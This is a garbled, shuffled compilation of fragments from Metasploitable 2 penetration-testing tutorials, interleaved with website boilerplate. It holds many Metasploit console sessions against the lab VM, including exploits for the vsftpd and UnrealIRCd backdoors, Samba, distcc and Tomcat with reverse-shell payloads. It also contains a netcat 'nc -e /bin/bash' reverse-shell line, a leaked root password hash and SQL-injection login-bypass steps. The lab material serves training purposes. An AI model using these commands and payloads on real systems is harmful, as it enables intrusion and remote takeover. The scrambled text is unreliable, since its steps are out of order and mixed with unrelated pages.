---- --------------- -------- ----------- msf exploit(udev_netlink) > exploit A malicious backdoor that was introduced to the VSFTPD download archive is exploited by this module. LPORT 4444 yes The listen port [+] 192.168.127.154:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres' METASPLOIT On-Prem Vulnerability Management NEXPOSE Digital Forensics and Incident Response (DFIR) Velociraptor Cloud Risk Complete Cloud Security with Unlimited Vulnerability Management Explore Offer Managed Threat Complete MDR with Unlimited Risk Coverage Explore offer Services MANAGED SERVICES Detection and Response RHOST => 192.168.127.154 Tutorials on using Mutillidae are available at the webpwnized YouTube Channel. In this article we continue to demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable penetration testing target. Back on the Login page try entering the following SQL Injection code with a trailing space into the Name field: The Login should now work successfully without having to input a password! [*] Reading from socket B Before we perform further enumeration, let us see whether these credentials we acquired can help us in gaining access to the remote system. Highlighted in red underline is the version of Metasploit. daemon, whereis nc Id Name Proxies no Use a proxy chain The VictimsVirtual Machine has been established, but at this stage, some sets are required to launch the machine. Need to report an Escalation or a Breach? [*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) Id Name Name Disclosure Date Rank Description THREADS 1 yes The number of concurrent threads [*] Accepted the second client connection echo 'nc -e /bin/bash 192.168.127.159 5555' >> /tmp/run, nc: connect to 192.168.127.159 5555 from 192.168.127.154 (192.168.127.154) 35539 [35539] Step 6: On the left menu, click the Network button and change your network adapter settings as follows: Advanced Select: Promiscuous Mode as Allow All Attached, Network Setting: Enable Network Adapter and select Ethernet or Wireless. [*] Reading from sockets The two dashes then comment out the remaining Password validation within the executed SQL statement. Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. [*], msf > use exploit/multi/http/tomcat_mgr_deploy -- ---- A reinstall of Metasploit was next attempted: Following the reinstall the exploit was run against with the same settings: This seemed to be a partial success a Command Shell session was generated and able to be invoked via the sessions 1 command. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack. [*] A is input Stop the Apache Tomcat 8.0 Tomcat8 service. Step 5: Display Database User. ---- --------------- -------- ----------- Initially, to get the server version we will use an auxiliary module: Now we can use an appropriate exploit against the target with the information in hand: Samba username map script Command Execution. Id Name RHOST yes The target address [*] Accepted the first client connection RPORT 5432 yes The target port Pentesting Vulnerabilities in Metasploitable (part 2), VM version = Metasploitable 2, Ubuntu 64-bit. [*] Accepted the second client connection RHOSTS yes The target address range or CIDR identifier To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. Alternatively, you can also use VMWare Workstation or VMWare Server. RHOSTS => 192.168.127.154 [*] Started reverse handler on 192.168.127.159:4444 Getting access to a system with a writeable filesystem like this is trivial. msf auxiliary(tomcat_administration) > set RHOSTS 192.168.127.154 Were going to use netcat to connect to the attacking machine and give it a shell: Listen on port 5555 on the attackers machine: Now that all is set up, I just make the exploit executable on the victim machine and run it: Now, for the root shell, check our local netcat listener: A little bit of work on that one, but all the more satisfying! payload => java/meterpreter/reverse_tcp From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. Metasploitable 2 offers the researcher several opportunities to use the Metasploit framework to practice penetration testing. RHOST yes The target address It allows hackers to set up listeners that create a conducive environment (referred to as a Meterpreter) to manipulate compromised machines. Lets move on. Step 7: Display all tables in information_schema. msf exploit(usermap_script) > set RHOST 192.168.127.154 Id Name [*] Reading from sockets Metasploitable Networking: Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. msf exploit(java_rmi_server) > set LHOST 192.168.127.159 Both operating systems will be running as VM's within VirtualBox. meterpreter > background Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. It is freely available and can be extended individually, which makes it very versatile and flexible. The purpose of a Command Injection attack is to execute unwanted commands on the target system. [*] Command: echo VhuwDGXAoBmUMNcg; However this host has old versions of services, weak passwords and encryptions. msf auxiliary(tomcat_administration) > show options Exploit target: We can see a few insecure web applications by navigating to the web server root, along with the msfadmin account information that we got earlier via telnet. Its GUI has three distinct areas: Targets, Console, and Modules. [*] Writing to socket A For instance, to use native Windows payloads, you need to pick the Windows target. Therefore, well stop here. Next, place some payload into /tmp/run because the exploit will execute that. ---- --------------- -------- ----------- [*] USER: 331 Please specify the password. Associated Malware: FINSPY, LATENTBOT, Dridex. Same as credits.php. Browsing to http://192.168.56.101/ shows the web application home page. Then we looked for an exploit in Metasploit, and fortunately, we got one: Distributed Ruby Send instance_eval/syscall Code Execution. Id Name On July 3, 2011, this backdoor was eliminated. -- ---- individual files in /usr/share/doc/*/copyright. msf exploit(tomcat_mgr_deploy) > exploit The applications are installed in Metasploitable 2 in the /var/www directory. Setting the Security Level from 0 (completely insecure) through to 5 (secure). First, whats Metasploit? Exploit target: URI /twiki/bin yes TWiki bin directory path For hints & tips on exploiting the vulnerabilities there are also View Source and View Help buttons. PASSWORD => tomcat All rights reserved. msf exploit(tomcat_mgr_deploy) > set LHOST 192.168.127.159 msf exploit(drb_remote_codeexec) > set URI druby://192.168.127.154:8787 SSLCert no Path to a custom SSL certificate (default is randomly generated) Loading of any arbitrary web page on the Interet or locally including the sites password files.Phishing, SQL injection to dump all usernames and passwords via the username field or the password fieldXSS via any of the displayed fields. msf auxiliary(telnet_version) > show options 0 Automatic Target [*] Found shell. Between November 2009 and June 12, 2010, this backdoor was housed in the Unreal3.2.8.1.tar.gz archive. We are interested in the Victim-Pi or 192.168.1.95 address because that is a Raspberry Pi and the target of our attack.. Our attacking machine is the kali-server or 192.168.1.207 Raspberry Pi. payload => cmd/unix/reverse LHOST yes The listen address Do you have any feedback on the above examples? exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Execution, msf > use exploit/unix/ftp/vsftpd_234_backdoor [*] Executing /RuoE02Uo7DeSsaVp7nmb79cq/19CS3RJj.jsp Target the IP address you found previously, and scan all ports (0-65535). Learn Ethical Hacking and Penetration Testing Online. PASSWORD no The Password for the specified username Copyright 2023 HackingLoops All Rights Reserved, nmap -p1-65535 -A 192.168.127.154 RPORT 139 yes The target port msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse Access To access the vulnerable application, point your browser on Metasploitable3 to http://localhost:8282/struts2-rest-showcase To access the Apache Tomcat Manager, point your browser on Metasploitable3 to http://localhost:8282. USERNAME postgres yes The username to authenticate as [*] Writing to socket A Id Name [*] Command shell session 4 opened (192.168.127.159:8888 -> 192.168.127.154:33966) at 2021-02-06 23:51:01 +0300 Leave blank for a random password. msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp nc -vv -l -p 5555 < 8572, sk Eth Pid Groups Rmem Wmem Dump Locks TWiki is a flexible, powerful, secure, yet simple web-based collaboration platform. LPORT 4444 yes The listen port Metasploitable is installed, msfadmin is user and password. Lets see what that implies first: TCP Wrapper is a host-based network access control system that is used in operating systems such as Linux or BSD for filtering network access to Internet Protocol (IP) servers. Ultimately they all fall flat in certain areas. Information about each OWASP vulnerability can be found under the menu on the left: For our first example we have Toggled Hints to 1 and selected the A1- Injection -> SQLi Bypass Authentication -> Login vulnerability: Trying the SSL Injection method of entering OR 1=1 into the Name field, as described in the hints, gave the following errors: This turns out to be due to a minor, yet crucial, configuration problem that impacts any database related functionality. [*] Matching VHOST no HTTP server virtual host msf exploit(usermap_script) > set LHOST 192.168.127.159 Use the showmount Command to see the export list of the NFS server. Display the contents of the newly created file. Step 3: Set the memory size to 512 MB, which is adequate for Metasploitable2. PASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line In this example, the URL would be http://192.168.56.101/phpinfo.php. Open in app. -- ---- -- ---- I've done exploits from kali linux on metasploitable 2, and i want to fix the vulnerabilities i'm exploiting, but all i can find as a solution to these vulnerabilities is using firewalls or filtering ports. This can be done via brute forcing, SQL injection and XSS via referer HTTP headerSQL injection and XSS via user-agent string, Authentication bypass SQL injection via the username field and password fieldSQL injection via the username field and password fieldXSS via username fieldJavaScript validation bypass, This page gives away the PHP server configurationApplication path disclosurePlatform path disclosure, Creates cookies but does not make them HTML only. Pentesting Vulnerabilities in Metasploitable (part 1), How To install NetHunter Rootless Edition, TWiki History TWikiUsers rev Parameter Command Execution, PHPIDS (PHP-Intrusion Detection System enable/disable). This is Bypassing Authentication via SQL Injection. Exploit target: [*] Command: echo ZeiYbclsufvu4LGM; set PASSWORD postgres Metasploitable 2 is designed to be vulnerable in order to work as a sandbox to learn security. [*] 192.168.127.154:5432 Postgres - [01/20] - Trying username:'postgres' with password:'postgres' on database 'template1' Long list the files with attributes in the local folder. This set of articles discusses the RED TEAM's tools and routes of attack. The nmap scan shows that the port is open but tcpwrapped. Commands end with ; or \g. msf auxiliary(telnet_version) > run RHOST => 192.168.127.154 The payload is uploaded using a PUT request as a WAR archive comprising a jsp application. LHOST => 192.168.127.159 Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). LHOST yes The listen address [*] A is input What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. Once the VM is available on your desktop, open the device, and run it with VMWare Player. msf exploit(udev_netlink) > show options msf auxiliary(postgres_login) > run Metasploitable 2 is a deliberately vulnerable Linux installation. Welcome to the MySQL monitor. Attackers can implement arbitrary commands by defining a username that includes shell metacharacters. On metasploitable there were over 60 vulnerabilities, consisting of similar ones to the windows target. Below is the homepage served from the web server on Metasploitable and accessed via Firefox on Kali Linux: Features of DVWA v1.0.7 accessible from the menu include: A More Info section is included on each of the vulnerability pages which contains links to additional resources about the vulnerability. DVWA contains instructions on the home page and additional information is available at Wiki Pages - Damn Vulnerable Web App. ---- --------------- -------- ----------- You can do so by following the path: Applications Exploitation Tools Metasploit. In additional to the more blatant backdoors and misconfigurations, Metasploitable 2 has terrible password security for both system and database server accounts. msf exploit(postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp [*] Matching [*] Sending stage (1228800 bytes) to 192.168.127.154 Exploit target: Step 6: Display Database Name. msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.127.154 RHOSTS yes The target address range or CIDR identifier RHOST => 192.168.127.154 Were going to exploit it and get a shell: Due to a random number generator vulnerability, the OpenSSL software installed on the system is susceptible to a brute-force attack. 22. msf auxiliary(telnet_version) > set RHOSTS 192.168.127.154 LHOST => 192.168.127.159 Nessus is a well-known and popular vulnerability scanner that is free for personal, non-commercial use that was first released in 1998 by Renaurd Deraison and currently published by Tenable Network Security.There is also a spin-off project of Nessus 2, named OpenVAS, that is published under the GPL.Using a large number of vulnerability checks, called plugins in Nessus, you can . whoami LPORT 4444 yes The listen port Next we can mount the Metasploitable file system so that it is accessible from within Kali: This is an example of a configuration problem that allows a lot of valuable information to be disclosed to potential attackers. Have you used Metasploitable to practice Penetration Testing? [*] Auxiliary module execution completed, msf > use exploit/unix/webapp/twiki_history ================ [*] Started reverse double handler We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. [*] Command: echo f8rjvIDZRdKBtu0F; [*] Using URL: msf > use exploit/unix/misc/distcc_exec So I'm going to exploit 7 different remote vulnerabilities , here are the list of vulnerabilities. msf exploit(unreal_ircd_3281_backdoor) > set LHOST 192.168.127.159 msf exploit(distcc_exec) > set payload cmd/unix/reverse Step 4: ChooseUse anexisting virtual hard drive file, clickthe folder icon and select C:/users/UserName/VirtualBox VMs/Metasploitable2/Metasploitable.vmdk. [*] Undeploying RuoE02Uo7DeSsaVp7nmb79cq msf exploit(tomcat_mgr_deploy) > set RPORT 8180 For a more up-to-date version visit: This version will not install on Metasploitable due to out-of-date packages so best to load it onto a Linux VM such as Kali or Ubuntu. The command will return the configuration for eth0. 15. Then start your Metasploit 2 VM, it should boot now. Payload options (cmd/unix/interact): Metasploitable 2 is a vulnerable system that I chose to use, as using any other system to do this on would be considering hacking and have could have bad consequences. Distributed Ruby or DRb makes it possible for Ruby programs to communicate on the same device or over a network with each other. msf exploit(vsftpd_234_backdoor) > show options Metasploitable 3 is a build-it-on-your-own-system operating system. [*] Reading from sockets www-data, msf > use auxiliary/scanner/smb/smb_version Setting 3 levels of hints from 0 (no hints) to 3 (maximum hints). 0 Automatic And this is what we get: About Press Copyright Contact us Creators Advertise Developers Terms Privacy Policy & Safety How YouTube works Test new features NFL Sunday Ticket Press Copyright . Next, you will get to see the following screen. After the virtual machine boots, login to console with username msfadmin and password msfadmin. First of all, open the Metasploit console in Kali. Perform a ping of IP address 127.0.0.1 three times. Step 2: Basic Injection. msf exploit(java_rmi_server) > show options msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154 Step 2: Now extract the Metasploitable2.zip (downloaded virtual machine) into C:/Users/UserName/VirtualBox VMs/Metasploitable2. [*] Writing to socket B We dont really want to deprive you of practicing new skills. What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. CISA and its partners, through the Joint Cyber Defense Collaborative, are responding to active, widespread exploitation of a critical remote code execution (RCE) vulnerability ( CVE-2021-44228) in Apache's Log4j software library, versions 2.0-beta9 to 2.14.1, known as "Log4Shell." Log4j is very broadly used in a variety of consumer and . msf auxiliary(postgres_login) > set STOP_ON_SUCCESS true root, http://192.168.127.159:8080/oVUJAkfU/WAHKp.jar, Kali Linux VPN Options and Installation Walkthrough, Feroxbuster And Why It Is The Best Forced Browsing Attack Tool, How to Bypass Software Security Checks Through Reverse Engineering, Ethical Hacking Practice Test 6 Footprinting Fundamentals Level1, CEH Practice Test 5 Footprinting Fundamentals Level 0. Id Name RHOST 192.168.127.154 yes The target address :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead. From a security perspective, anything labeled Java is expected to be interesting. [*] Matching The interface looks like a Linux command-line shell. Our first attempt failed to create a session: The following commands to update Metasploit to v6.0.22-dev were tried to see if they would resolve the issue: Unfortunately the same problem occurred after the version upgrade which may have been down to the database needing to be re-initialized. Before running it, you need to download the pre-calculated vulnerable keys from the following links: http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2 (RSA keys), http://www.exploit-db.com/sploits/debian_ssh_dsa_1024_x86.tar.bz2 (DSA keys), ruby ./5632.rb 192.168.127.154 root ~/rsa/2048/. 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In /usr/share/doc/ * /copyright weak passwords and encryptions dvwa contains instructions on the target.! ) > run Metasploitable 2 is a virtual machine is available on your desktop, open device...
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